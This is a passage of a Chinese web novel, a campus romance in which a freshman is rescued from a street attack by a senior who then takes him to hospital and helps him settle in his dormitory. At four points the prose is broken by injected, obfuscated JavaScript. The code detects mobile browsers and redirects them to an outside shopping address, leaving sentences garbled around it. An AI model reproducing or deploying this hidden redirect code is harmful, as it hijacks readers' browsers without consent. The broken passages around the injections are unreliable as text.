——“你们干什么呢!”
“今儿有病的这么多,一个两个他妈上赶着找事?我操!”
柏安一愣,刚撑起身子胡乱擦了把眼泪就被扶住了。
“柏安?你怎么样?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486477|202037||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没事……”柏安终于在朦胧里看清了神兵天降般出现在身边的人。
——是白仲钺。
居然是白仲钺。
花外套刚才被踹得连退几步,这会儿直起身刚要往这边冲,又被祁延给女朋友买的雪红果奶油盒子砸了满脸,重新扬起来的铁管在一停顿的功夫被姜宗川劈手夺了。
“喂警察吗!”赵煜对着手机喊,“大学路商业街杀人了!”
白仲钺直接把柏安从地上打横抱起来,走到稍远的台阶边,一旁站着的两个女生立刻说:“我们那会儿就报警了,警察应该很快就到,你们别和他们硬碰硬。”
“谢了,”白仲钺迅速把柏安放好,对她们说,“麻烦帮我照看一下。”
半分钟不到,那边已经动起手来了。周围没什么趁手的工具,白仲钺在地上抓了几条从摊子上砸飞出来的夸张链子缠在手上攥紧,两步过去把赵煜拉开冲着对面的人就是一拳狠的。
他和姜宗川一人对俩祁延对一个,白仲钺把边上的架子踢在刚刚摔在地上的人身上:“赵煜压住!”
赵煜立刻跪着压上去,掉在旁边的棍子没法给白仲钺,只能就近护在下面免得被对方捡去。
这条不是主干道,人流量没有那么大,主街的叫卖声音乐声吵闹嘈杂,不特意过来根本不会知道这里发生了什么。赵煜环顾四周,心里暗骂一声不巧,周围一个认识的人都没有。
这伙人不知道是不是混这片的,摊主有一个算一个都在忙收摊或者直接躲远看热闹,谁都不愿意惹麻烦。
“我去那不是老白吗!”远远有个男生路过看见,立刻往这边来,边跑边和身后的人喊,“给祝骁打电话让他们都赶紧来!”
白仲钺对的两个有个人手里有棍子,他硬扛了几下,被另一个人掺和着几次都没能抢下来。
“靠欺负我们没人吗!”来的男生不知道从哪个摊位上扯来块布从后边罩在拿棍子的人头上勒紧,白仲钺在那人转身的时候一脚踢在他膝弯,没管身后朝自己招呼来的一脚,硬生生把棍子从那人手里拧了下来。
后边那一脚没落在白仲钺身上,花外套腿还在半空使着劲就被紧跟来的另一个男生撞翻了。
撞翻花外套的男生压上去揍人的间隙朝早到一点拿布蒙人的男生喊了一句:“张皓程你给我一边待着!”
昨天一块打球吃饭的其他几个人也都在外边,他俩那会儿还碰见了,韩一刚才往这边跑的时候打完电话又在群里招呼了声,没几分钟又赶来三个人,混乱场面终于平定下来。
远远响起的警报声和“警察来了”的喊声混在一起,花外套猛地一挣,韩一和张皓程两个人没防备竟然让他挣脱了。
几乎是在使劲挣开的一瞬间花外套就爬起来跑,脚下打滑几次好不容易稳住步子小腿就被砸了一棍。
是从姜宗川那里拿过来的铁管,白仲钺扔的时候用了狠劲,花外套被这一下砸得摔在地上抱住腿大嚎,咬牙闭眼喊了几声又伸手去摸边上的铁管:“我□□——”
白仲钺已经到了旁边,在他抓牢之后踩住那根铁管,把他手结结实实碾在地面。
“你想死吗?”
5. 学弟
警察还没过来祁延就把白仲钺拉开了,怕被警察看见说不清,不过饶是祁延和白仲钺这么熟,看见他发狠的表情也是一愣。
印象里只有初中那时候一起打过几次架,白仲钺还都是被他连带着没办法才动手,现在想起来像吃撑了犯中二病闹着玩似的,就没见过白仲钺这样。
“老白,”祁延拐了白仲钺一下,“你小学弟找你呢。”
白仲钺一转身,就看见柏安一瘸一拐过来了:“学长……”
“怎么过来了,”白仲钺迎了两步伸手握住柏安小臂把人扶稳,“腿怎么样?”
“不疼了,谢谢学长,对不……”
柏安话没说完,警察过来了,赵煜甩着胳膊就开始喊:“警察叔叔!我们出来吃饭碰见这几个人在这儿砸摊子揍人,他们六个揍一个兼职的学生!我们就想拉拉架结果他们举着棍子就打!这些棍子管子全是他们的周围人都能作证!还好有热心同学路过要不然我们就被打残了!”
“我□□——”
“老实蹲着!”那边警察朝那人呵斥一声,然后转过头来,“有话去局里再说,刚才动手的都去。”
篮球队里有人过来的路上又叫了人,这会儿刚到,要跟着一起去派出所被白仲钺拦下了。
花外套那边六个人,白仲钺这边十个人,可花外套那伙人实在一看就不像什么良好市民,又有不少人作证,警察没难为白仲钺一行人,就让配合做了笔录。
但到底惊动了班主任和辅导员。
十个人什么专业都有,让联系老师的时候白仲钺主动说自己联系,毕竟是因为他。
祁延简直听得目瞪口呆,好像这一架全没旁边那个小学弟什么事。他倒没想让小学弟出面找老师,毕竟白仲钺这种人在老师那儿自带光环什么都好说,他就是觉得白仲钺不对劲。
说不上来哪儿不对劲,但绝对不对劲,百分之一百二的不对劲。
后来柏安兼职摊位的老板也来了,她紧赶慢赶到的时候就只看见稀烂的摊子,问了周围的人又立刻赶到派出所来。
这个大姐老公是个混子,越来越混又动手又赌博,大姐想离离不了,就从家里跑了,想等两年起诉离婚。没想到她老公到处说她外边找了人给自己戴绿帽子,让“道上兄弟”帮忙找人。
出了派出所有片空地,十个人在路灯底下站了两排,白仲钺手里还扶着柏安。
“那几个罚款拘留十五天,你们也差点被拘留知不知道?在公安网留下个记录好看?知道给同学打电话不知道给老师打?那种混成渣的人下手能有数吗?还有一个是有案底有可能判刑的!拿刀了怎么办?你们几条命啊?”
班主任噼里啪啦说了一通,几个人知道在派出所的时候两个老师一直维护他们,一边据理力争一边给警察赔不是,坚定咬住见义勇为不松口,这会儿两排人就老老实实低着头让训。
直到班主任训得心里那口气顺点了,柏安才抬头小声说:“老师对不起,那几个人最开始是打我的,几位学长是为了救我才打架,今天的事都是因为我……”
不得不说,虽然都知道人不可貌相但人们大多迈不过这个槛。
比如这话如果姜宗川来说大概就没什么说服力,但换了白白净净乖乖巧巧在一群人里显得瘦瘦小小眼睛里还汪着泪花的柏安说出来,谁能忍心再训一句?
何况还是无妄之灾。
柏安其实就是在卖可怜,眼睛里的眼泪是右腿轻轻一使劲疼出来的。
“行了行了,一会儿叫的车来了都回学校,回去全把嘴闭严了,别给我想不开耍帅拿大喇叭吆喝自己的战绩。”
等了一会儿车没来,班主任又开始说:“拘留的那几个也说不定会提前出来,今天穿的衣服往后都别穿了,染头发的染回去,能少出来就少出来,万一以后再碰见就绕着走,别觉得自己了不起玩报复那一套,想想自己小命万一被那些人弄没了值不值当!”
“知道了。”
“记住了老师。”
“好的。”
“谢谢老师。”
“老师你最好了!”
班主任嘴角动了动又绷紧,问柏安:“刚大一?以后别在街上兼职了,不安全,咱们学校有助学岗,你回去找导员问就行。马上十一月,各种补助什么的通知快下了,你如果有需要到时候该申请申请。”
“好的,谢谢老师……”
“嘶,”班主任看看柏安,转过头去看看路上的车又转回来,“我刚没训你吧?”
柏安眼睛里那汪水眼见是越聚越多就要扑簌簌往下掉。
“没有老师。”柏安刚刚不小心一动脚,结果咬牙也没能把眼泪憋回去,到底啪嗒落地上了。
白仲钺皱皱眉:“腿疼?”
“不要紧,”柏安扯扯嘴角,“就一点点,明天就好了。”
班主任立刻问:“伤着腿了?”
柏安说:“没事老师,被打了一下,不严重。”
“腿是小事?赶紧去医院拍片子查查!你们在这等车,我送他去看看去,”班主任眉毛都要飞起来了,收住到嘴边的一句“是不是傻”,说柏安,“怎么想的,伤了不和警察说去医院还巴巴跟着来?”
叫的车过来了一辆,白仲钺扶着柏安说:“老师,我陪他去看吧,时间不早了,您和周老师早点回去休息。”
“是老师,”柏安立刻接上,“没什么大事,学长陪我去就行,今天麻烦两位老师了,谢谢老师。”
柏安一口一个老师叫得听起来就比别人叫得舒坦,班主任估摸着自己在一边学生也不自在,就松了口:“行,你们先走,去吧,必须拍片啊,别阳奉阴违不去医院,赶紧上车,这事交给你了白仲钺。”
“一定去,那我们先走了,”白仲钺把车门打开扶柏安坐进去,“老师再见。”
上车之后白仲钺报了地址,先把手机拿出来,对屏幕上的几道纹视若无睹。柏安骤然和白仲钺近距离待在密闭空间里,心“怦怦”跳得厉害,见白仲钺没和自己说话在专注发消息,才一点一点艰难缓下来。
刚刚老师在他没和其他几个人打招呼,也没时间多说,白仲钺这会儿正在球队群里发消息。
正打着字,聊天界面显示【祁延邀请姜宗川、赵煜加入群聊】
【今天真谢了,你们该拿药拿药该看伤看伤,我都报销,改天一起吃一顿压惊,我请,随便挑】
白仲钺发完消息又发了几个红包。
祁延先回的消息:【大家伙什么关系啊发红包生分了不是】
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486478|202037||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
紧接着祁延又发一条:【靠你发了多少我怎么才两块?】
祁延:【一块?】
祁延:【三毛?!!!】
白仲钺:【都是二百】
赵煜:【我最少的三十一块九哈哈哈哈哈哈哈哈哈哈哈哈哈】
张皓程:【虽说我们是为了帮你但是你这谢实在是越俎代庖】
张皓程:【本尊呢】
张皓程:【从哪儿骗来的漂亮小学弟】
祝骁:【人家才刚走进大学生活,是不是禽兽了】
张皓程:【把漂亮学弟拉进来】
张皓程:【让漂亮学弟进群说话】
“漂亮学弟?”
张皓程还在低头打字,顺口答:“啊,长多好看一小男生啊。”
白仲钺和柏安走之后几个人就劝着两位老师先走了,约的剩下的车来之后张皓程和韩一没上,其他几个人都知道他们两个,起哄一通才坐车走。
韩一手扶着张皓程肩膀给他当导航:“多好看?”
“不挺好……”张皓程把视线从手机屏幕上收回来,看着韩一笑出声,“没你好看,你天下第一好看。”
韩一手下用劲把张皓程带到树后的一片阴影里:“下次再碰见今天这种事别不管不顾往上冲。”
“怎么了?我又没伤着,而且总不能看见不帮吧。”
“不是不让你帮,”韩一在张皓程染成白金色的头发上抓了一把,“就知道往上冲,今天要不是老白不管不顾地把那个人手里棍子弄下来,你就得开瓢。”
张皓程愣了愣,才后知后觉确实是这么回事。他当时拿着块摊子上的布把人蒙住,根本没想那个人手里还有棍子。他就在那个人身后,紧贴着的距离随便一棍子就能打着他。
“长长记性吧,管头不顾尾的事干多少了。”
“知道了——”张皓程遇见自己理亏的事向来服软服得快,“记住了,我错了,别说我了。”
“头发染回去吧,太惹眼了。”
“不想染,就看这个色顺眼。”
韩一拽了拽他的头发:“换个不惹眼的,我跟你一起染。”
“你不是打死不染吗?”
“你就当把我打死过了。”
张皓程“切”了一声,凑在韩一耳边说:“我比较想干死你。”
“行,”韩一痛快点头,拿出手机来继续走,“今天晚上让你来。”
今天周五,他们照旧在外边订了两天的宾馆。张皓程愣了会儿然后跟上去在韩一背上甩了一巴掌:“这周末本来就该我上你了!”
白仲钺点开韩一发在群里的语音,默认外放。
“这周末本来就该我上你……”
是张皓程的声音,话到一半。
【韩一撤回了一条消息】
白仲钺听完的时候没反应过来,看见秒撤的提示忽然就明白了。
手机音量不大,不了解情况的人乍听也不会想到那儿去。车里司机和柏安都不知道怎么回事,柏安也只是听见声音下意识看过来一眼就又转回头去。
听懂了的,不自在的,只有白仲钺一个。
“咳……”
白仲钺低低清了清嗓子,把手机关静音放回了口袋。
6. 背
下车的时候白仲钺把柏安扶下来,两个人身高差有点大,柏安不好借力,只能扶着白仲钺的胳膊一瘸一拐走。
“你站稳,”白仲钺往前一步在柏安前边蹲下一点,“上来我背你。”
柏安下意识想拒绝,但白仲钺的后背实在太有吸引力,柏安在心里唾弃自己两秒钟然后把手臂搭在了白仲钺肩上:“谢谢学长。”
腿随着白仲钺的走动一晃一晃的,有点疼,还有点胀,但柏安没心思管了。
心好像在自己的胸膛和白仲钺后背中间挤着,要动弹不了了,要跳出来了。
直到白仲钺把他放在排椅上自己去挂号,柏安才有了点真实感。
但这点真实感在巨大的意想不到和美好现状面前也变得掺了几分梦幻。
白仲钺,也太好了吧……
柏安右小腿肿得厉害,白仲钺起初只以为青紫了,没想到这么严重,更没想到医生拿着片子说是轻微骨裂。
“骨裂?”
“嗯,”医生在电脑上输入开的药名,“不算严重,不用打石膏,但也要好好注意,右腿尽量少用力,先别走路养一养,过几天好点了可以适当活动,以患者自身情况为准,别一直躺着不下地也别勉强走动。安全起见别去人多的地方,晚上睡觉把右腿垫高点,三到四周过来复查。患者在那边等,你去缴费拿药。”
白仲钺把医疗卡接过来:“好,谢谢医生。”
从医院出来的时候都快十点了,好在离学校近,打车也就十分钟。
“学长,今天花了多少钱?我转给你。”
“不用,”白仲钺稳步向马路边走,“那几个人需要赔钱,老师会先给我,我就从里边扣了,到时候多退少补。”
“如果不够的话我转给你,多的话就不用给我了。”
白仲钺笑了笑:“故意给我便宜赚呢?”
“不是占便宜,今天幸亏有学长在,我就是还没想好要怎么谢。还有今天帮忙的其他几个学长,也要好好谢谢才行。”
“不用想了,等你腿好了用剩下的钱请大家一起吃顿饭就好。”
“不行。”
白仲钺侧过点头:“嗯?”
两个人脸之间的距离一下变得更近,柏安不自觉屏住呼吸——他连白仲钺眼皮的纹理和浓黑睫毛的细微间隙都看得清清楚楚:“唔……说好如果多的话就给你的。”
“我不要,用来请客算是谢他们,至于怎么谢我,你慢慢想。”
柏安忽然有点担心,自己趴在白仲钺身上,紧贴着胸膛,白仲钺会不会感觉到自己激烈乱撞的心跳。
“没出租,叫个车吧,我密码是六个零。”
柏安手里拿着一大袋药和白仲钺的手机,听见白仲钺说话立刻伸手去口袋拿自己的手机:“用我手机就行。”
打开手机才发现老板给他打了一串电话,时间不早,柏安先叫了车,想给老板回条信息的时候老板又打了过来。
“喂,郑姐。”
“你可算接电话了,吓死我了,以为你又出了什么事。我听说打到人了,你受伤没?”
因为挨得白仲钺近,怕吵到他,柏安说话声音就刻意小了点:“小腿轻微骨裂,不严重,郑姐你那边怎么样?”
“你不用管这个,今天这事是因为姐,花了多少钱我转给你,还有今天的工资也给你结了。”
“他们好像得赔钱给我,应该够了。而且其实我也有责任……”
白仲钺紧了紧眉头,没开口。
柏安继续说:“他们一开始来的几个人没拿棍子,问我老板姓什么还有男的女的的时候我说是男的,他们可能误会你真的……和别的男的在一块,才又来砸的。”
“不是,你别往自己身上揽,他们之前砸过我两回地方了,都是空着手先去探情况,认准了就领人去砸。行了不和你说这些,他们赔是他们活该,两码事,你和我说花了多少,不转给你我闹心。”
“啊,好,”柏安把手机拿远一点,问白仲钺:“学长,今天花了多少?”
“六百三。”
柏安又把手机贴回耳朵:“郑姐,花了六百,今天的工资不用给我结了,我今天没干多长时间,而且就算今天干完……也……昨天的,不够的你在药费里扣出来吧。”
“行,别管了,好好养着,多注意点。”
打的车来了,白仲钺走到车边蹲下身把柏安放下来,然后把柏安扶上车后座。
柏安一条腿用力把自己往里挪,右腿使不上力还在靠外的位置,劈叉似的,柏安正想上手,白仲钺已经探身进来吧柏安的右腿轻轻抬起来移进去了。
关车门的声音像砸在柏安心上,“砰”的一声响。
“打完了?”
“啊?”柏安反应过来看手机才发现电话已经挂断,“嗯,打完了。”
郑姐给他转了七百,柏安编辑了一段话发过去之后偷偷往右边瞄了一眼,见白仲钺正看窗外,立刻做贼似的把白仲钺手机开了,点开转账软件的收款码把刚收到的七百转给了白仲钺。
他刚刚就是在白仲钺背上大脑宕机智商不够用,这会儿才觉得白仲钺关于那几个人赔钱的说辞很不可信,老师当时明明只说了罚款拘留,罚款是充公的。而且就算那些人该赔钱,他们也不一定会赔,到时候如果只赔一点或者直接不给,白仲钺不告诉自己怎么办?
“干什么呢?”
柏安一下手忙脚乱像个被当场拿赃的小贼,手机都吓掉了。
白仲钺笑了一声,低身把手机捡起来:“干什么坏事了,吓成这样。”
“没,”柏安吞了下口水,刚刚白仲钺捡手机的时候,头发在他手背蹭过去了,“……我把药费转给你了。”
“不是说了不用转。”
“老板给我转了医药费,而且……反正如果那几个人真的赔钱的话就用来请大家吃饭好了。”
“嗯。”白仲钺把手机在手里转了下,看着副驾驶后面印的反诈骗宣传语想,看起来挺好骗的样子,操作起来也没那么简单。
白仲钺的手很大,手指也特别长,手机在他手里和在柏安手里就像根本不是同一个手机。
手机晃了晃。
柏安眨眨眼,忽然抬头正对上白仲钺看过来的视线。
口干舌燥。
白仲钺太好看了。
晚上的白仲钺、近距离的白仲钺、在明暗光影里的白仲钺,比初见时还要好看。
初见明明是昨天的事,柏安却忽然觉得好像已经很久远了,像在很久以前,他就已经见过也认识白仲钺一样
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486479|202037||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“你……”
“怎么了?”
柏安一下回神,又低头看了一眼白仲钺拿着手机的曲起的手指:“你屏幕碎了。”
“钢化膜,不是屏。”
“哦……”
“师傅,麻烦往校门口拐一下吧,他腿不方便,从左边门下车。”
白仲钺背着柏安进了校门。路灯把两个人的影子拉得很长又缩得很短,深一点的影子和浅一点的影子重叠,一起一步一步向前。
“学长……”
“嗯?”
柏安低下头,把下巴放在白仲钺肩膀上:“谢谢你。”
他其实很委屈,在皮夹拍到脸上的时候、摔在地上的时候、抱着头蜷起来的时候,在看到裤子膝盖破了洞的时候、包扎手腕和腿的时候……
还有现在。
他被白仲钺背着,因为走路有节奏地一晃一晃,就像在被安慰一样的现在。
柏安一点也不想哭的。
他不想让白仲钺觉得自己是个爱哭鬼娇气包。
他只是有点忍不住。
掌根和手腕缠着的纱布越来越模糊,柏安瘪瘪嘴,庆幸自己能伏在白仲钺背上,像蜗牛能缩进壳里。
如果可以,希望白仲钺会愿意做他的壳。
如果可以,如果需要,他也愿意把自己的壳给白仲钺。
走了好一会儿,感觉背上的人呼吸平稳了白仲钺才说话:“你兼职是当天晚上结工资?”
“嗯,对。”
“一晚上兼职几个小时?”
“三个半左右,有时候多一会儿有时候少一会儿。”
“给你多少钱?”
“一晚上四十五加提成,一般差不多能有六十块。”
白仲钺皱皱眉:“我这个项链你两天工资都不够?”
柏安打电话的时候说得支支吾吾,可白仲钺大概猜到了点,果然,柏安一下没话说了,隔了好一会儿才说:“差不多,就是两天的钱。”
“小摊上东西不是都便宜吗?那个不付钱的男生拿了两样不才二十多?”
“价格不一样……而且这个也不贵……”
柏安垂眼去看白仲钺脖子里的项链,白仲钺微微弓着身,领口空出来一块,柏安的视线顺着锁骨向下看见那块在衣料和皮肤中间摇晃的金属牌,然后看见了旁边颜色略深的……
!!!
柏安猛地一闭眼把头转开,脸上差点要起火。
“听见了吗?”白仲钺轻轻颠了柏安一下:“掐自己手干什么?”
“啊……啊?”
“我说以后别这样了,你掐自己手干什么?”
“我……”柏安把乱蹿的心思死死掐住,“我知道了,替你教育一下我自己。”
柏安乱说的,白仲钺没再问,笑了一声。
嗡——
原来喜欢一个人的时候,他只是在耳边笑一下,就能让人不辨南北,耳昏眼花。
柏安闭起眼睛,下巴在宽实的肩上极细微地蹭动半分。
小摊上的东西的确便宜,这条项链和柏安彼时的心思并不相符。他想把最好的东西送给白仲钺,只不过当时,这就是最贵的了。
他想给白仲钺的,远比这个要好得好,多得多。
7. 见义勇为
进宿舍楼后柏安要下来扶着楼梯扶手自己走,怕白仲钺累,白仲钺没让。
四层楼背着爬上去,白仲钺体力再好也出了汗,不过还没粗喘几口就发现了个要紧的问题——宿舍没有下铺。
两只手拽着一层一层往上挪也不是办不到,但太不安全。
还有十几分钟关楼门,白仲钺把柏安扶着坐在椅子里:“你等我一会儿,如果四十之前我没来你就让舍友帮着上去睡一晚。”
“学长你要……”
白仲钺赶时间,没等柏安说完就急匆匆走了。
他记得宿管那儿有张闲置的折叠单人床。
白仲钺下楼之后先在柏安宿舍楼的宿管那里问了,说没有之后又去了对面自己宿舍楼的宿管那里,好在那张折叠床还在,宿管觉得卖给收废品的心疼一直收在床底下。
宿管早眼熟白仲钺了,没要白仲钺的钱,让登记信息,白仲钺把学生卡留给宿管说回来登记,道谢之后提着折叠床又大步赶到柏安宿舍去。
折叠床大概就一米宽,白仲钺扶着柏安坐到一边,利落把折叠床支在桌边,又踩着梯子把柏安的被褥卷了整个抱下来铺开。
被褥在折叠床上宽出来一块,看着有点乱。白仲钺对柏安说:“先这样凑合睡吧,别的明天再说,记得吃药,走了。”
白仲钺连反应的机会都没给,人都走了柏安也没能说一句完整的谢,拿出手机来才发现已经过门禁时间了。
柏安拿出手机来给白仲钺发消息。
【学长,关楼门了吗?】
白仲钺没回复。
柏安从椅子上起来跳了两下坐到折叠床上,摸着又皱又软的床心里一下说不出什么滋味。
“你慢点,有事叫我们,别再摔了。”
“好,”柏安冲挨着床的舍友笑笑,“谢谢。”
一个已经在床上的舍友看见柏安说话了也开始说话:“柏安,你和白仲钺什么关系啊?有亲戚?”
“你认识他?”
“没开学我就知道他了,咱们学校不知道他的才是少数吧?”
“啊……”柏安其实有点惊讶,他知道白仲钺在A大知名度高,但没想到刚入学的舍友也都知道,“你们都认识他吗?”
床挨着柏安的舍友说:“我是进学生会之后才知道的,他是上一届学生会主席,我只见过照片,没见过人。”
床上的舍友又问了一遍:“柏安,白仲钺是你亲戚吗?这么照顾你。”
“不是,就是认识。”
“以前就认识啊?”
“最近刚认识的。”
“厉害啊,刚认识就能和白仲钺这么熟。”
柏安笑笑,没再接话。
手机震动了一下,是白仲钺的消息。【回宿舍了,和宿管说好多留十分钟门】
【好的】——柏安打完字又删掉,太简单了。
【今天谢谢学长了】——加“了”好像显得不太郑重。
【今天谢谢学长】——可是删掉“了”读起来又很生疏。
柏安纠结好一会儿,忽然想到自己竟然都没问问白仲钺有没有受伤。
他们打起来的时候柏安的位置看不太完整,没办法全程看见白仲钺,他着急得要命也没上前。
没办法帮忙就要躲远点,至少不能当拖油瓶。
后来只注意到白仲钺的右手指根和骨节都通红,有的地方破了皮,其他露在外边的地方没发现有伤。接着事情一件接一件,柏安一直都没能问白仲钺身上有没有被打到,再后来,柏安晕晕乎乎地忘了这茬。
【学长,你今天有伤到吗?】
白仲钺有一会儿没回,柏安又发了一条。
【宿舍有药膏吗?】
“你要不别洗漱了,去卫生间的话喊我一声我扶你。”
柏安转头说:“我简单洗洗,扶着床和门能走,没那么严重,谢谢啊。”
“嗯,”床挨着柏安的人坐在桌边,没上床,“有要帮的就说,别客气。”
柏安笑笑:“好的。”
床上的人翻了个身,看着手机“哎哟”了一声。
桌边的人翻了个白眼,把耳机戴上了一个。
柏安宿舍暂时就住了他们三个人,还是混寝,床上的人和柏安同专业不同班,桌边的人和柏安连学院都不在一个,是学法律的,但特别喜欢画画而且画得很好。空着床位的那个人倒是和柏安一个班,不过从开学就一直是请假状态。
床上的人叫袁韬,桌边学法律喜欢画画的人叫元睦和,空床位的人柏安不记得名字了,只记得姓法,三个字。
柏安第一次见到“法”这个姓,印象深刻。
袁韬跟元睦和的姓一样读音,但人合不太来。袁韬说话有时候不讨喜,开始是说元睦和成天对着颜料闻多了可能会致癌,后来又说自己有个说话都不利索的书呆子同学也学法律,还说过听说律师大都混不好之类。元睦和脾气还不错可也不是软性子,回呛几次之后就没好脸色给袁韬了。
柏安倒是和两个人都没嫌隙,但宿舍氛围大多数时候挺别扭,互相之间认识时间又短,也就只维持了普通和气的关系。别的宿舍常见的咋呼闹腾约玩捎饭等等,在柏安宿舍根本不存在。
白仲钺一直没回复,柏安就先去阳台洗脸刷牙,从阳台斜着往对面楼看也没能看见什么。
-
“嘶——”白仲钺光着上身面对椅背跨坐,一边拿毛巾擦头发一边扭头对赵煜说,“打个商量,有意见直说,不带下黑手的。”
“你们一个两个三个都不懂,秘方,活血化瘀就得用劲揉才管用,当我愿意伺候你们啊,我还嫌手酸呢。”
一宿舍四个人有三个是光膀子造型,还都是倒跨坐,满宿舍浓郁药味也没开门窗,冷。
“还没干,”祁延在姜宗川背上试了试,“这药膏干得也太慢了,今天晚上还能睡觉吗?”
“回来就说给你们抹,都掐着脖子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486480|202037||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
撑英雄,早抹的话早干了。”
姜宗川一门心思打游戏,根本不着急。
祁延“啧”了一声,闲得在一边围观抹药。他和姜宗川身上的青红紫加起来都没白仲钺身上多,当时他对了一个空手的,姜宗川对两个但手里有抢来的铁管,就白仲钺空着手对两个,对方其中一个还有棍子。
“老白,说说呗,今天这见义勇为是哪一出?”
白仲钺裹着毛巾继续擦头发:“路见不平,拔刀相助。”
“屁,我怎么不知道你什么时候有了个关系这么好的小学弟,”祁延一顿,“你这两天怎么天天见义勇为?昨天那谁还说你吃完饭路上见义勇为了。你昨天加的那小星星谁啊?不会就今天这个学弟吧?”
“嗯。”
“卧槽,昨天才加好友,今天就为了人家挨拳头?”
白仲钺头发干差不多了,把毛巾拿下来:“那我怎么着,站一边看着他挨打?”
根本不是这回事。
当时往那边走的时候听见一声叫,祁延根本没反应过来呢白仲钺已经跑远了。他们三个赶紧跟上去的时候正看见白仲钺一脚把人踹出去三步远,那人手里还拿着铁管子,白仲钺就跟瞎了没看见似的直接蹲下去看地上的人了。
还有打架时候的那股狠劲,祁延觉得要是今天让人揍的是自己,就白仲钺那反应他都得暗地里感动个三五年。
“主要你这,当时那什么,之后又带人去医院,又折腾到大晚上才回的……”祁延暂时还没确定自己到底是觉得哪儿不对,语言组织起来也费劲。
“咱们这些人就我认识他,肯定是我带他去医院,嘶——”
“行了别嘶了,”赵煜终于弄完停手,“你明天最好去医务室看看拿点药什么的,太严重了,万一也和你那小学弟似的骨裂了。”
白仲钺活动了活动肩膀:“想我点好吧。”
“这不简单吗,”赵煜半举着手去阳台洗手,“想你那顿饭得敲诈点什么才够本都想一下午了。”
白仲钺笑笑:“慢慢想,想好了随便敲。”
“你们见着张皓程的项链了吗?”祁延看着手机问,“在群里说他项链丢了。”
几个人都没见到,祁延在群里回复了一句,忽然想起来什么:“哎老白,你这两天怎么戴起项链来了?”
熄灯断电一会儿了,白仲钺正给快没电的台灯接充电宝:“戴着玩。”
“稀奇。”
手机屏碎了,白仲钺不太愿意用,本身除了有事也没随时要看手机的习惯,上床看见柏安消息的时候已经快十二点了。
最新一条是二十分钟前,【学长睡了吗?今天真的特别谢谢学长,如果有受伤一定记得涂药,晚安~[睡觉表情]】
看见那个小波浪号,白仲钺不知道怎么忽然想起祁延拖着声音念柏安消息的调子来,不自觉扬起嘴角,疼出来的躁气也消了。
【没伤到,明天去校医院给你借拐杖,睡吧】
8. 送饭上门
柏安已经睡着了,手机还在手里松松握着。
天黑了,灯亮着,能清楚地看到天上往下砸的铁棍,密密麻麻的,根本躲不开也跑不掉。
嘭——
有个硕大的盾牌凭空出现,把铁棍全部截在半空,举着盾的人,是白仲钺。
柏安惊呆了,直直看着白仲钺:“学长……”
白仲钺把盾牌向上一扔,弯腰把他横抱在怀里,宠溺地对他笑着说:“乖,叫我的名字。”
柏安呆呆的,说不出话来,但时间紧迫,白仲钺不能一直抱着他,只好把他放在安全的地方,对旁边的人说:“麻烦帮我照看一下。”
旁边的人问白仲钺:“帮你照看?他是你什么人?”
白仲钺就要转身走,柏安拉住他的手指:“白仲月……”
“别怕,我会保护你,”白仲钺回过头对他说,说完才回答旁边人的问题:“他是我的人。”
——“啪!”
柏安惊醒,还没从梦里出来就听见袁韬说:“你手机摔了。”
“啊,”柏安撑起身子把手机捡起来,“谢谢。”
袁韬喷完发胶用手抓了抓,要出门的时候看了柏安一眼:“傻了啊?手机摔了还笑这么高兴。”
没等柏安说什么袁韬已经走了,柏安在脸上用力搓了一把,忽然惊了一下按开手机看时间。
袁韬都起来出门了,自己怕不是睡到了快中午。
不到八点,还好还好。
柏安松口气,时间不晚,手机也没坏。
有未读消息。
最新一条是七点多的时候白仲钺发的,【醒了吗,想吃什么,我一会儿去食堂,给你带】
柏安赶紧回复,【不用麻烦啦学长】
回完柏安才觉得自己清醒了点,立刻选中想撤回,那边白仲钺已经又发来了。【?】
已经看见了。
柏安一把抱住头,把脸埋进被子里:“手快什么啊客气什么啊多好的事啊……”
“怎么了?柏安?”
柏安看着元睦和有气无力地说:“我觉得我身体醒了,智商还没。”
